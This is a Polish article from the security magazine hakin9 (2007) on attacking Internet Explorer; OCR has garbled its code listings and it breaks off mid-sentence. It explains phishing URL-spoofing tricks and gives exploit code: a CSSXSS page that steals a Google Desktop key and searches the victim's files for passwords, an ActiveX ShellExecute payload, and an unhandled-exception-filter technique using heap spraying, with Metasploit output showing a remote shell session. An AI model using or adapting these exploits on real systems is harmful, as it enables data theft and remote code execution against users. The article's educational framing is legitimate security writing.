Vista przynosi dwa rozwiąza-

nia: mechanizm User Account Con-

trol, który zmusza użytkownika do
potwierdzenia każdej akcji mogącej
mieć wpływ na bezpieczeństwo sys-
temu, nawet w przypadku pracy jako
administrator systemu oraz Protec-

ted-mode IE, dzięki któremu prze-
glądarka pracuje ze znacznie mniej-
szymi prawami niż użytkownik.

Duża część dziur bezpieczeństwa

Internet Explorera związana jest za-
implementowanym modelem obiekto-
wym dla komponentów. (Component
Object Model - COM). Wbudowanie
COM w Internet Explorera przez me-
chanizm ActiveX czy Browser Helper
Objects (BHO) otworzyło szereg
możliwości które stały się bramą dla
wirusów, trojanów i infekcji spywaru.

Atak na słabości Internet Explo-

rera w celu przechwycenia informa-
cji o użytkowniku za pomocą Google
Desktop.

Większa część czytelników praw-

dopodobnie jest ostrożna jeśli chodzi
o bardzo popularny trick używany
przez spamerów i im podobnych,
którzy tworzą adresy URL z nazwa-
mi użytkownika, które wyglądają jak
nazwy hostów, by sprawić by ludzie
ufali niebezpiecznym stronom.

Na przykład http://www.microsoft

.com&session%123123123@krzysie

k.software.com.pl. Ten trick używany
jest często do kradzieży kont typu
paypal, przez oszukiwanie użytkowni-
ków. Wprowadza ich bowiem w błąd,
że hasło zostało zresetowane, lub źle
wpisane. Komunikat generowany jest
oczywiście przez stronę przygotowaną
specjalnie w tym celu, a na którą adres
przekierowuje. Użytkownik poinformo-
wany o tym, że hasło należy zmienić
i że należy najpierw wpisać stare hasło
może faktycznie to uczynić – dając tym
samym je na tacy phisherowi.

Ulepszona wersja tego ataku

czyni go znacznie bardziej niebez-
piecznym i polega na wprowadze-
niu wartości 0x01 po symbolu @
w fałszywym adresie. Można spra-
wić, że Internet Explorer nie będzie
wcale wyświetlał reszty adresu. Na
przykład: http://www.microsoft.co-

m&session%123123123@0x01krzy-

siek.software.com.pl

W ogóle

Jakiś czas temu odkryto możliwość
wykorzystania Google Desktop do
uzyskania zdalnego dostępu do
prywatnych danych, jak numery
kart kredytowych czy hasła. Można
tego dokonać poprzez odpowiednio
przygotowaną stronę internetową.
Dzięki kilku słabościom projekto-
wym Internet Explorera możliwe
jest tu zmuszenie odwiedzających
do uruchomienia wyszukiwania pro-
wadzącego na strony internetowe
wykorzystujące te słabości. Na czym
polegają te słabości i jak je wykorzy-
stać? Wystarczy IE w wersji 6, o co
w tej chwili nie trudno – bo jest to
najpopularniejsza i najaktualniejsza
pełna wersja dostępna w momencie
pisania tego artykułu. Przyda się
także Google Desktop w wersji v2,
oczywiście zainstalowany. Można
go przetestować za pomocą skryptu
z Listingu 1. Co prawda Google za-
łatało juz swoje strony, jednak przy-
kład daje dobre wyobrażenie.

Rysunek 3.

Internet Explorer 2.0

Rysunek 4.

Internet Explorer 3.0

Hakowanie Internet Explorer

hakin9 Nr 2/2007

www.hakin9.org

W szczególe

Zwykle przeglądarki mają wbudowane
silne restrykcje co do interakcji związa-
nych z kilkoma domenami. Odpowied-
nio przygotowana strona pozwala prze
kierować użytkownika na inny adres.
Nie może jednak sprawić by czytana
była jej zawartość lub manipulowany
był jakikolwiek obiekt DOM. To ob-
ostrzenie jest dobrze przetestowane,
w związku z czym właściciel strony
nie może szpiegować użytkownika
surfującego po internecie za pomocą
JavaScrtiptu. Dodatkowo, jeśli użyt-
kownik jest już zalogowany do jakiejś
usługi (gmail lub hotmail) to gdyby nie
było tych zabezpieczeń, odwiedzana
strona mogłaby wykonywać pewne
operacje na koncie użytkownika (np.
kasowanie wiadomości czy wysyłanie
ich). W Internet Explorerze te zabez-
pieczenia działają dobrze, dopóki do
gry nie wejdą importy CSS. Popular-
nie zwie się to atakami CSSXSS lub
Cascading Style Sheets Cross Site
Scripting.

Odpowiednio przygotowana stro-

na może zaimportować reguły CSS
przy użyciu dyrektywy @import. IE
ma jeszcze bardzo wygodną funk-
cję dostępną z poziomu javascrip-

tu: addImport która działa jak @im-

port ale w środowisku uruchomie-
niowym. Reguły CSS mogą później
posłużyć do uzyskania dostępu do

właściwości cssText w zestawie do-

cument.styleSheets. Co jednak sta-
nie się jeśli strona zaimportuje URL,
który nie jest poprawnym plikiem
CSS? Otóż IE pozwoli na przetwo-
rzenie CSS pozwalając tym samym
na czytanie właściwości cssTex oraz
zdalne czytanie kodu html który zo-
stał wczytany do reguł CSS. Ponie-
waż reguły CSS wymagają pewnej
struktury dla odpowiedniej ilości ko-
du, może się on różnić w zależności
od źródła strony.

Reguły CSS determinują wygląd

stron i z reguły określają wybór, wła-
sność i wartości. Własność i warto-
ści są oddzielane dwukropkiem i za-
mknięte przez nawiasy. Na przykład
by pokolorować linki na stronie trze-
ba zdefiniować reguły CSS a {color:

white}. W celu odzyskania kodu z da-
nego adresu, który dostarcza niepo-
prawny kod CSS, strona docelowa
musi zawierać kilka znaków używa-
nych w CSS jak na przykład nawiasy.
Na szczęście wiele obecnych stron
zawiera je, ponieważ są one bardzo
popularne w kodzie Javascript i regu-
łach CSS implementowanych na stro-
nach. Jak tylko parser CSS Internet
Explorera trafi na odpowiednie na-
wiasy, spróbuje on odczytać dane i
zinterpretować dane po nich wystę-
pujące. Nawet w przypadku gdy te
reguły CSS nie będą miały dla nie-
go żadnego sensu, IE wciąż będzie je
interpretował i pozwoli obejrzeć je w

cssText. Kombinacje nawiasów, dwu-
kropków i średników pozwala decydo-
wać, które kawałki kodu mogą zostać
odczytane.

Podczas używania technik

CSSXSS

atakujący z pewnością będzie w sta-
nie uzyskać kod JavaScript. Jed-
nak może dopomóc szczęściu po-
przez wstrzykiwanie znaków CSS w
przestrzeń docelową adresu. Ponie-
waż wiele stron generowanych jest

Rysunek 5.

Internet Explorer 4

Rysunek 6.

Internet Explorer 6 z blokadą wyskakujących okienek

hakin9 Nr 2/2007

www.hakin9.org

Atak

dynamicznie i dostaje parametry przez
URL, wstrzykiwanie znaków jest zwy-
kle trywialnie proste. Mechanizm jest
podobny do tego używanego w przy-
padku klasycznych ataków XSS, z tą
różnicą, że tutaj atakujący wstrzyku-
je znaki, które przez większość stron
uznawane są za nieszkodliwe.

Podobnie jak w przypadku więk-

szości dziur XSS, błędy projektowe
Internet Explorera pozwalają ataku-
jącemu przechwycenie prywatnych
danych lub wykonanie odpowiednie-
go kodu na zdalnej maszynie. Różni-
ca w tym przypadku polega na tym,
że strona wcale nie musi być podatna
na wstrzykiwanie kodu. Wszystko co
musi zrobić atakujący to skuteczne
zaproszenie ofiary na odpowiednio
przygotowaną stronę. Tysiące stron
może zostać do tego użytych, a do-
datkowo nie ma łatwego rozwiązania
chroniącego przed atakami, do póki
IE nie zostanie załatane. Daje to
całkiem sporą liczbę użytkowników
podatnych na atak.

Podatność ta testowana była na

w pełni spatchowanej przeglądarce
Microsoft Internet Explorer w wersji
6, wcześniejsze najprawdopodobniej
także są wrażliwe. Dla porównania
Mozilla Firefox wydaje się prze-
strzegać restrykcji i zachowywać je
w importach CSS co z kolei czyni ją
odporną na tego typu ataki. Opera
nie jest wrażliwa, ponieważ nie ob-
sługuje kolekcji styleSheets. Zabez-
pieczeniem dla użytkowników może
być wyłączenie obsługi Javascriptu
w Internet Explorerze lub użycie in-
nej przeglądarki.

Exploit

dla Google Desktop

By zademonstrować co można zro-
bić dzięki opisanej wyżej słabości,
przygotujemy skrypt exploitujący
Google Desktop Search (GDS) do
wyszukiwania i przechwytywania
prywatnych danych użytkowników
poprzez zdalną stronę. Jednak za-
nim do tego przejdziemy – krótka
charakterystyka działania mechani-
zmu GDS.

Google Desktop Search to

całkiem użyteczny kawałek kodu,
który indeksuje dane użytkownika.
Do indeksowanych danych zalicza
dokumenty, maile, arkusze itd. Po
zindeksowaniu użytkownik może
przeszukiwać pliki za pomocą in-
terfejsu podobnego do tego który
posiada wyszukiwarka Google.
Wyszukiwanie realizowane jest za
pomocą serwera http zainstalowa-
nego na lokalnej maszynie. Serwer
nasłuchuje na porcie 4664 i związa-

ny jest jedynie z lokalną maszyną
127.0.0.1, co uniemożliwia nawią-
zanie bezpośredniego połączenia
z zewnątrz.

Google dodało także dodatkowe

zabezpieczenie, które uniemożliwia
dostęp zewnętrznych stron do lokal-
nego serwera – stąd próby explo-
itowania dziur XSS raczej się nie
powiodą. W celu uzyskania dostępu
do interfejsu GDS generowany jest
pseudo-losowo klucz, który musi
zostać przekazany jako parametr
w adresie URL. Klucz generowany
jest w momencie gdy użytkownik
klika na ikonę GDS, a domyślna
przeglądarka używając wygenero-
wanego przez serwer klucza łączy
się z nim. Jeśli klucz okaże się błęd-
ny lub nie będzie go wcale, GDS
nie pozwoli na wykonanie żadnego
zapytania i zwróci komunikat błędu.
W takim wypadku jedyną rzeczą do
jakiej przeglądarka będzie miała do-
stęp, będzie obrazek w formacie .gif
– logo Google.

Google zintegrowało po za tym

GDS z jej sztandarową wyszuki-
warką na google.com. Po insta-
lacji GDS, pojawi się nowy link w

google.com nad polem zapytania.
Link nazwany został Desktop. Link
prowadzi do adresu URL lokalne-
go serwera i zawiera klucz. Dzię-
ki temu użytkownik będzie mógł
przejść do wyszukiwania lokalnych
plików, nie zauważając nawet, że
opuszcza stronę Google. Link „de-
sktop” w zasadzie nie pochodzi na-
wet od Google, ale jest wstrzykiwa-
ny przez GDS poprzez plugin prze-

Rysunek 7.

Internet Explorer 7 z zakładkami

Rysunek 8.

Popularność Internet Explorera

1996

1998

2001

2002

2004

2006

20%

40%

60%

80%

100%

Hakowanie Internet Explorer

hakin9 Nr 2/2007

www.hakin9.org

glądarki – jak tylko ta stwierdzi, że
odwiedzana jest strona Google. Ma
to zapobiegać wycieknięciu klucza
na zewnątrz.

W celu wykorzystania luki z GDS

atakujący musi najpierw zdobyć
klucz. Bez niego ciężko uzyskać
byłoby dostęp do lokalnego serwera.
Jak wspomniałem wcześniej, klucz
występuje w linku na stronie Google,
więc to jest właśnie miejsce z którego
można go przechwycić poprzez uży-
cie ataku

CSSXSS

. Z uwagi na projekt

stron Google, przechwycenie linku
nie będzie możliwe na większości ich
stron. Mimo to jednak istnieje albo ist-
niał sposób wykorzystujący link, który
może zostać zwrócony przez stronę
Google News, na news.google.com.
Należy wstrzyknąć nawiasy klamro-
we w zapytanie. Następnie wystarczy
wydobyć klucz za pomocą wyrażeń
regularnych i importu CSS na adresie
z lokalnego serwera . Można dodać
także do zapytania nawias klamrowy
"{" by wyniki wyświetlone zostały tak-
że we własności „cssText” po spar-
sowaniu przez CSS. Ten znak jest
ignorowany przez silnik wyszukiwarki
i nie ma wpływu na wyniki.

Przykład ten pełni spatchowanym

Internet Explorerem (z domyślnymi
ustawieniami zabezpieczeń i prywat-
ności) oraz z Google Desktop v2. Nie
zadziała z innymi przeglądarkami,
chyba, że są to pochodne IE. Wyniki
mogą także być różne w zależności
od wersji językowej i projektu strony
Google News i zawartości dysku
ofiary (oraz prawdopodobnie wersji
językowej GDS).

Atak#2 Zdalne

wykonywanie kodu

Dobrze znamy komunikat ze słowa-
mi unhandled exception pojawiający
się w różnych okolicznościach w sys-
temie Windows. Błędy o których infor-
muje mogą pozwalać na wykonanie
odpowiednio przygotowanego kodu.
Dla atakującego najważniejsze jest
zdobycie wówczas kontroli nad filtrem
takich wyjątków. Od wersji SP2 poja-
wiły się pewne zabezpieczenia co do
kontroli takich wyjątków, jednak mimo
tych usprawnień, które mierzą bez-
pośrednio w uniemożliwienie kontroli

Listing 1.

Wykorzystanie słabości Internet Explorera i Google Desktop

html

head

title

Wykorzystanie

slabosci

Internet

Explorera

Google

Desktop

title

style

type

"text/css"

import

url

(

"http://news.google.com/news?hl=en&ned=pl&q=%7D%7B"

);

style

head

body

Wykorzystanie

slabosci

Internet

Explorera

Google

Desktop

center

Przetrawiony

kod

HTML

zaimportowany

poprzez

CSS

Google

News

tym

wypadku

link

lokalnej

maszyny

textarea

rows

"26"

cols

"70"

"nowesssrc"

textarea

Klucz

Google

Desktop

gni

linku

input

type

"text"

size

"50"

"klucz"

Wyniki

Google

Desktop

lokalnej

maszynie

dla

owa

"password"

surowym

HTML

przetworzeniu

CSS

textarea

rows

"24"

cols

"90"

"wyniki"

Prosimy

czeka

wyniki

textarea

Oryginalna

strona

komunikatu

Google

Desktop

maszyny

lokalnej

iframe

width

"500"

height

"250"

"strona"

iframe

script

// Pokazujemy wyniki zapytania google desktop

function

showResults

()

{

document

getElementById

(

"wyniki"

)

innerText

document

styleSheets

(

)

imports

(

)

cssText

;

}

// Pokaz sparsowany CSS kod HTML z importu z Google News

document

getElementById

(

"nowesssrc"

)

innerText

document

styleSheets

(

)

imports

(

)

cssText

;

// Wyrazenie regularne parsujace klucz z wynikow importu CSS

var

new

RegExp

(

"127.0.0.1:4664/search&s=(.+?)

);

var

reRes

exec

(

document

styleSheets

(

)

imports

(

)

cssText

);

(

reRes

)

{

// Pokaz sparsowany klucz

document

getElementById

(

"klucz"

)

innerText

reRes

[

];

// Polacz poprawny klucz z adresem lokalnego serwera

dodaj

zapytanie

haslo

linka

var

searchURL

"http://127.0.0.1:4664/search&s=

reRes

[

]

"q=%7Bpassword"

;

// Dodaj zaimportowane CSS do tworzonego URLa

document

styleSheets

(

)

addImport

(

searchURL

);

// Pokaz strone wyszukiwania w ramce

document

getElementById

(

"strona"

)

src

searchURL

;

// Poczekaj kilka sekund ze strona z wynikami

setTimeout

(

showResults

()

5000

);

}

else

{

// Jesli nie uda sie sparsowac klucza, pokaz blad

document

getElementById

(

"klucz"

)

innerText

"nie moge pobrac linku Google Desktop"

;

document

getElementById

(

"wyniki"

)

innerText

"Nie moge pobrac wynikow Google Desktop"

;

}

script

body

html

hakin9 Nr 2/2007

www.hakin9.org

Atak

filtra, wciąż można zdobyć kontrolę
nad filtrem na wyższych poziomach.
Jest to możliwe dzięki skorzystaniu z
dziury projektowej, a dokładniej spo-
sobu w jaki filtry wyjątków zostały ze
sobą powiązane. Takie podejście ma
swoje ograniczenia, które polegają na
tym, że atakujący może kontrolować
jedynie powiązania między filtrami jak
ładowanie i zwalnianie bibliotek. Najła-
twiej skorzystać z tego w przypadku
Inernet Explorera.

To, że dziury można podzielić na

te, które pozwalają na wykonanie ko-
du i takie, które na to nie pozwalają,
pozwala stwierdzić, czy dana dziura
może zostać wykorzystana przez
atakującego czy nie. Jednak wiele
z tych pierwszych dziur jest niegroź-
nych w związku z tym, że w ogóle nie
mają do czynienia z buforem pamięci.
Z drugiej strony wiele z nich okazuje
się później dopiero dziurami które na
atak pozwolą.

W związku z tym warto rozwa-

żać czy dana dziura może w jakim-
kolwiek kierunku wpływać na możli-
wość wykonania kodu przy pomocy
innej aplikacji. Dla przykładu, wywo-
łanie NULL pointer spowoduje naru-
szenie praw dostępu i zarządca kry-
tycznych wyjątków odpowiednio zare-
aguje – pod warunkiem, że ma na to
odpowiednią instrukcję. Jeśli żaden z
zarządców nie wie co z takim fantem
zrobić, wywołany zostanie filtr wyjąt-

ków najwyższego poziomu (unhan-
dled exception filter – UEF). Wywo-
ła go kernel32!

UnhandledException-

Filter

(jeśli został ustawiony). Po za

tym mechanizmem, mnie ma tu wie-
lu kontrolowalnych dróg którymi mo-
że podążać atakujący, bez spełnie-
nia innych warunków. Dlatego najlep-
szym miejscem na szukanie tego ty-
pu luk jest w samym procesie zarzą-
dzania wyjątkami.

Pierwszym etapem zarządzania

bądź dystrybucji wyjątków jest wywo-
ływanie zarejestrowanych dla danych
wyjątków wątków. Pozwala to stwier-
dzić, które wyjątki są kontrolowane
i w jaki sposób. Jeśli żaden z z za-
rejestrowanych wyjątków nie może
być prze kierowany, należy poszukać
metody na prze kierowanie zarządcy
wyjątków lub jego filtra. Można tego

dokonać poprzez zmianę wskaźnika,
by ten wywoływał określony przez
nas kod. Jednak od SP2 jest to
znacznie trudniejsze. Nie jest już tak
łatwo nadpisywać zmienną globalną
zawierającą UEF górnego poziomu.

W celu umożliwienia aplikacjom

obsługi wyjątków , zarządca dostar-
cza interfejs do ich rejestracji. Dzię-
ki niemu można logować informacje,
wykonywać odzyskiwanie, obsługiwać
wyjątki specyficzne dla danego języ-
ka. W celu określenia i zarejestrowa-
nia wyjątku można posłużyć się: ker-
nel32!

SetUnhandledExceptionFilter

Co działa jak:

LPTOP_LEVEL_EXCEPTION_FILTER
SetUnhandledExceptionFilter(
LPTOP_LEVEL_EXCEPTION_FILTER
lpTopLevelExceptionFilter
);

W momencie wywołania, funkcja ta
wskaże argument:

lpTopLevelExceptionFilter

i zakoduje go za pomocą:

kernel32!RtlEncodePointer.

Wynik przechowany zostanie w zmien-
nej globalnej:

kernel32!BasepCurrentTopLevelFilter

i prze kierowana do którykolwiek

filtra najwyższego poziomu. Zapisa-
na wartość ze zmienną globalną jest
dekodowana poprzez:

kernel32!RtlDecodePointer

Listing 2.

A oto przykład innego, załatanego już błędu w IE5, który

umożliwiał wykonanie, w tym wypadku kodu uruchamiającego notatnik

html

body

script

function

Notatnik

()

{

var

url

res

mmcndmgr

dll

prevsym12

htm

#%29%3B%3C/style%3E%3Cscript%20language

jscript

Dnew

ActiveXObject

Shell

Application

ShellExecute

notepad

script

-//%7C0%7C0

;

document

location

url

;

}

script

center

Jesli

klikniesz

przycisk

przegladarce

IE5

nie

zainstalowales

latki

MS06

044

uruchomisz

notatnik

input

type

button

onClick

Notatnik

()

value

Uruchom

notatnik

body

html

Rysunek 9.

Rejestracja i od rejestrowywanie wyjątków

Rejestracja Wx

SetUnhandledExceptionFilter(Wx) => Ux

Odrejestrowanie Wx

SetUnhandledExceptionFilter(Ux) => Wx

Rejestracja Dx

SetUnhandledExceptionFilter(Dx) => Wx

Odrejestrowanie Dx

SetUnhandledExceptionFilter(Wx) => Dx

Symetria Wx

Symetria Dx

Hakowanie Internet Explorer

hakin9 Nr 2/2007

www.hakin9.org

i zwrócona zgłaszającemu. Kodowa-
nie i odkodowanie wykonywane jest
w celu uniemożliwienia atakującemu
spowodowania użycia dodatkowej ilo-
ści pamięci w celu prze kierowania.

Funkcja kernel32!

SetUnhandledE-

xceptionFilter

zwraca wskaźnik do

oryginalnego najwyższego poziomu
z dwóch powodów. Po pierwsze
dzięki temu możliwe jest odtworze-
nie stanu w przyszłości, po drugie
możliwe jest stworzenie łańcucha.
Kiedy jakiś blok kodu zarejestrował
wyjątek w UEF, UEF odjrejestrowu-
je go. Robi tak, poprzez ustawienie
pierwotnej wartości w UEF: kerne-
l32!SetUnhandledExceptionFilter.

Powodem jest fakt, że tak na-

prawdę nie ma prawdziwej listy
wyjątków kontrolowanej przez filtry.
Metoda od rejestrowywania jest tutaj
kluczem dla atakującego. Operacje
rejestracji i od rejestrowywania mu-
szą być wykonywane symetrycznie.
Przykład ilustruje Rysunek 10.

Jeśli wyjątek przejdzie przez

wszystkie etapy i nie zostanie zarzą-
dzony, dystrybutor wyjątków dokona
jeszcze jednej operacji zanim zmusi
aplikację do zamknięcia. Jedną z opcji
jest przesłanie aplikacji do debuggera,
jeśli jest on aktywny. Jeśli nie, musi
obsłużyć wyjątek wewnętrznie lub
i zamknąć aplikację, jeśli się to nie
powiedzie. By to umożliwić , aplikacje
mogą wywołać filtr wyjątków związany
z procesem. W większości przypad-
ków rezultat będzie następujący:

kernel32!UnhandledExceptionFilter

czyli wywołanie instrukcji z informa-
cją o prze kierowaniu wyjątku.

To co faktycznie wykonuje kerne-

l32!

UnhandledExceptionFilter

to dwie

rzeczy. Po pierwsze, w przypadku
kiedy debugger nie jest dostępny,
wywoła UEF najwyższego poziomu
w celu zarejestrowania procesu. UEF
najwyższego poziomu spróbuje obsłu-
żyć wyjątek, prawdopodobnie wzna-
wiając i pozwalając na dalszą
pracę aplikacji, na przykład poprzez:

EXCEPTION _ CONTINUE _ EXECUTION

. Jeśli

to się nie powiedzie, proces zostanie
zabity, najprawdopodobniej poprzez:

EXCEPTION _ EXECUTE _ HANDLER

lub zo-

stanie wyświetlone okno dialogowe ze
standardowym

EXCEPTION _ CONTINUE _

. Jeśli debugger będzie obecny,

filtr wyjątków spróbuje prze kierować
wyjątek do debuggera. W takim wy-
padku UEF najwyższego poziomu
w ogóle nie jest wywoływany.

Podczas pracy w systemie

z nieobecnym debuggerem kerne-
l32!

UnhandledExceptionFilter

spró-

buje zdekodować wskaźnik związany
z UEF najwyższego poziomu poprzez
wywołanie:

kernel32!

RtlDecodePo-

inter

na zmiennej globalnej, która

zawiera UEF najwyższego poziomu
kernel32!kernel32!

BasepCurrentTo-

pLevelFilter

7c862cc1 ff35ac33887c push dword
ptr [kernel32!
BasepCurrentTopLevelFilter]
7c862cc7 e8e1d6faff call kernel32!Rtl
DecodePointer (7c8103ad)
Jeśli wartość zwrócona przez kernel32!
RtlDecodePointer jest różna od NULL,
następujewywołanie do dekodowanego
właśnie UEF, informacja o wyjątku
przekazywana jest dalej:
7c862ccc 3bc7 cmp eax,edi
7c862cce 7415 jz kernel32!UnhandledExc
eptionFilter
+0x15b (7c862ce5)
7c862cd0 53 push ebx
7c862cd1 ffd0 call eax

Wartość ta decyduje o tym czy aplika-
cja będzie dalej wykonywana, zosta-
nie przerwana i czy zaraportuje błąd.

W większości przypadków, filtry

wyjątków używane są do obsługi
wyjątków charakterystycznych dla

danego języka. Dzieje się to nie-
zauważalnie dla programistów. Na
przykład kod C++ zarejestruje wy-
jątek poprzez

CxxSetUnhandledExcept

ionFilter

w czasie inicjalizacji CRT

podczas ładowania bibliotek. Po-
dobnie wyrejestruje wyjątek poprzez

CxxRestoreUnhandledExceptionFilte
r

podczas kończenia programu lub

zwalniania bibliotek.

Przejmowanie kontroli

nad filtrem krytycznych

wyjątków

Obecnie jedynym wygodnym sposo-
bem na przejęcie kontroli nad filtrem
UEF jest wymuszenie wywołań dla
kernel32!

SetUnhandledExceptionFil-

ter

Wynika to bezpośrednio z faktu,

że zmienna globalna posiada odko-
dowany wskaźnik. Można próbować
wymuszenie bezpośredniego prze-
kierowywania kodu do kernel32!

Se-

tUnhandledExceptionFilter

jednak

wymagałoby to skorzystania z do-
datkowych słabości w aplikacji.

W związku z tymi ograniczeniami

należy trochę więcej uwagi poświęcić
samemu procesowi odpowiedzialne-
mu za rejestrowanie i od rejestro-
wywanie wyjątków. W związku ze
słabością powiązań między filtrami,
możliwe jest sprawienie, by łańcuch
stał się zupełnie nieużyteczny lub
nieużywalny, co z kolei będzie moż-
na wykorzystać. Jedno z wymagań
związanych z z procesem rejestracji
wyjątków w filtrze najwyższego po-
ziomu (UEF). Jak wspomnieliśmy,
jednym z wymagań jest to , by pro-
ces rejestracji i od rejestrowywania

Listing 3.

Skrypt w działaniu:

msf

exploit

(

windows

browser

ie_unexpfilt_poc

)

exploit

[*]

URL

http

8080

FnhWjeVOnU8NlbA

GAEhjcjzQWh17myEK1Exg0

[*]

Uruchomiony

Server

[*]

Exploit

dzia

tle

msf

exploit

(

windows

browser

ie_unexpfilt_poc

)

[*]

Wysy

anie

danych

(

474

bytes

)

[*]

Otwarta

sesja

pow

oki

(

4444

1059

)

msf

exploit

(

windows

browser

ie_unexpfilt_poc

)

session

[*]

Interakcja

rozpocznie

...

Microsoft

Windows

[

Version

5.1

2600

]

(

)

1985

2001

Microsoft

Corp

Documents

and

Settings

mmiller

Desktop

hakin9 Nr 2/2007

www.hakin9.org

Atak

był symetryczny. Pytanie co się sta-
nie, w przypadku jeśli symetryczność
nie zostanie zachowana. Ilustracja
takiego przypadku znajduje się na
rysunku 11. Jak widać na diagramie
z rysunku 11, Najpierw rejestrowane
są Wx i Dx. Wx jest od rejestrowy-
wane przed Dx, co sprawia, że cała
operacja staje się niesymetryczna.
W wyniku od rejestrowywania Wx
przed Dx, UEF jest ustawiony na
Ux, mimo, że z technicznego puktu
widzenia Dx powinien być w dalszym
ciągu częścią łańcucha. Ostatecznie
Dx od rejestrowywuje się ustawiając
najwyższy poziom dla Wx, mimo, że
Wx został wcześniej od rejestrowa-
ny. To oczywiście błędne zachowa-
nie, ale kod związany z Dx nie ma
pojęcia o tym, że Wx już zostało
oderejestrowane.

W przypadku takiej asyme-

trycznej rejestracji, atakujący może
przejąć kontrolę nad UEF najwyż-
szego poziomu. Warto zauważyć, że
dzieje się to w momencie ładowania
i zwalniania bibliotek DLL. W takim
przypadku po od rejestrowaniu,
zostanie zwolniona biblioteka zwią-
zana z danym UEF. TO z kolei zo-
stawi UEF ustawione na Wx, które
wskazuje na błędny obszar pamięci.
Jeśli wyjątek nastąpi po wystąpieniu
takiej sytuacji i nie zostanie obsłużo-
ny, wywołany będzie filtr wyjątków.
Jeśli nie ma w systemie debuggera,
nastąpi wywołanie UEF Wx. A sko-
roWx wskazuje na obszar pamięci,
nie związany z żadnym DLL, proces
zostanie w najlepszym wypadku za-
kończony.

Dla atakującego podobna sytu-

acja jest właśnie tym, na co czekał,
spróbuje on wówczas wykorzystać
pamięć do przechowania przygoto-
wanego specjalnie na tę okazję ko-
du. W przypadku wywołania funkcji,
która była w tym miejscu pamięci,
zostanie wykonany kod atakujące-
go. Dodatkowo jedyną rzeczą jaką
atakujący musi zrobić bu funkcja zo-
stała wywołana, jest wygenerowanie
wyjątku.

Wszystko to możliwe jest w przy-

padku Internet Explorera. W tym wy-
padku Internet Explorer stanie się
sposobem na zmuszenie bibliotek

DLL do załadowania i wyładowania.
Sposobem będzie tutaj obsługa obiek-
tów COM z poziomu przeglądarki. Tak
jak w poprzednim przykładzie użyjemy
tutaj new

ActiveXObject

JavaScript

lub tagu

HTML

OBJECT

W każdym przypadku w momen-

cie wywołania obiektu COM zała-
dowana zostanie biblioteka DLL
związana z obiektem o ile obiekt
utworzymy za pomocą

INPROC

SERVER

W takim przypadku obiekt wywołany
zostanie

DllMain

. Jeśli biblioteka

DLL posiada filtr krytycznych wyjąt-
ków, może zostać zarejestrowana
podczas inicjalizacji CRT. Dzięki
temu do momentu kiedy obiekt COM
jest związany z biblioteką, odpowied-
ni zestaw UEF także będzie obecny.

Niezbędna jest także kontrola

fazy od rejestrowywania. Trzeba
zmusić w jakiś sposób do odładowa-
nia DLL. Można to osiągnąć poprzez
ole32!

CoFreeUnusedLibrariesEx

Moment kiedy zostaje wywołana to
moment zamykanie Internet Explo-
rera, a to dzięki DllCanUnloadNow
, które wtedy przekazywane są do
bibliotek. Jeśli zwrócą one S_OK,
jak w przypadku gdy nie ma żadnych
powiązań z obiektami COM, którymi
opiekują się biblioteki.

Technika pozwalająca na kontro-

lowanie ładowania i od ładowywania
bibliotek zilustrowana została na ry-
sunku 12. Przykład powyżej przed-
stawia dwa otwarte okna , każde
z nich jest otwarte, każde zawiera
zarejestrowane biblioteki DLL im-
plementujące obiekty COM. W przy-
kładzie pierwsze okno przedstawia
COMObject1 implementowany przez
DLL #1. Kiedy biblioteka DLL #1 jest
załadowana, rejestruje UEF Wx naj-
wyższego poziomu. Kiedy zostanie
to wykonane, otwierane jest drugie
okno z COMObject2, powodujące
załadowanie DLL #2 i jednocześnie
zarejsestrowanie UEF, Dx. Po wy-
konaniu tych operacji, DLL #1 i DLL
#2 wciąż tkwią w pamięci a UEF naj-
wyższego poziomu wskazuje na Dx.

By przejąć kontrolę nad UEF,

Wx i Dx trzeba będzie spowodować
niesymetryczne ich wyrejestrowanie.
Żeby to osiągnąć, DLL #1 musi został
odładowana przed DLL #2. Można

to osiągnąć poprzez zamknięcie
okna z COMObject1, powodując tym
samym wywołanie ole32!

CoFreeUnu-

sedLibrariesEx

co spowoduje odłado-

wanie DLL #1. Podążając tym tropem,
okno z COMObject2 powinno zostać
zamknięte powodując zwolnienie DLL
#2. Rysunek 13 przedstawia tę sytu-
ację. Po zakończeniu procesu, Wx
stanie się UEF nawet mimofaktu, że
jego biblioteka została wyładowana.
Jeśli teraz nastąpi wyjątek, wywoła
on funkcję wskazującą błędny obszar
pamięci.

Atakujący może już przejąć

kontrolę nad filtrem UEF najwyż-
szego poziomu, jednak trochę pracy
trzeba będzie jeszcze poświęcić na
umieszczenie kodu w miejscu gdzie
był Wx. Można tego dokonać dzięki
technice heap-spraying, dosyć zna-
nej w przypadku wykorzystywania
słabości przeglądarek. Celem tej
techniki jest zużycie odpowiedniej
ilości pamięci, co skutkować będzie
rosnącym buforem w odpowiednim
miejscu. Spray'owane dane, a w tym
wypadku kod atakującego spowo-
dują przejęcie kontroli nad wykony-
waniem kodu. Istnieje jednak pewne
ograniczenie wynikające z faktu, że
położenie danych w pamięci może
nie być wystarczająco bliskie, by
można je było praktycznie wy-
korzystać. Na przykład jeśli stos
rośnie od 0x00480000 a biblioteka
zawierająca Wx rezyduje w pamięci
od 0x7c800000, wymagane będzie
by umieścić około 1.988 GB da-
nych na stosie. Wiadomo też, że
większość bibliotek dostarczanych
przez Microsoft jest skompilowa-
nych w taki sposób by ładować się
na wyższych poziomach pamięci,
co utrydnia pracę agresora. Wiele
bibliotek zewnętrznych producen-
tów skompilowana jest dla adresów
od 0x00400000, co sprawia że ide-
alnie się tutaj przydają. Dodatkowo
warto wiedzieć, że jeśli dwie biblio-
teki mają ten sam adres w pamięci,
to tylko jedna z nich zostanie pod
nim załadowana. Druga zładowana
zostanie pod niższym adresem.
Można dzięki temu zmusić biblioteki
do ładowania się na niższych adre-
sach, niż preferowane.

Warto także wiedzieć, że obiekty

COM nie muszą być z sukcesem ini-
cjowane, żeby biblioteka DLL została
załadowana. Jest ona ładowana przed
sprawdzeniem obiektu COM, w celu
umożliwienia Internet Explorerowi czy
klasa COM w ogóle może być stwo-
rzona. Dzięki temu łatwo ładować tak-
że dodatkowe biblioteki. Powiązanie
wszystkich tych faktów daje duże pole
działania dla agresorów. Działa z Win-
dows XP SP2 i najnowszymi wersjami
Internet Explorera z łatkami do MS06-
051. Przykłąd wymaga zainstalowane-
go Adobe Acrobat. Można także użyć
dowolnej innej biblioteki zewnętrznego
producenta. Skrypt implementujący
tę słabość jest częścią Metasploit
Framework.

Przyszłość

Technika ta może być rozwijana. Tak
naprawdę nawet najnowsza łątka nie
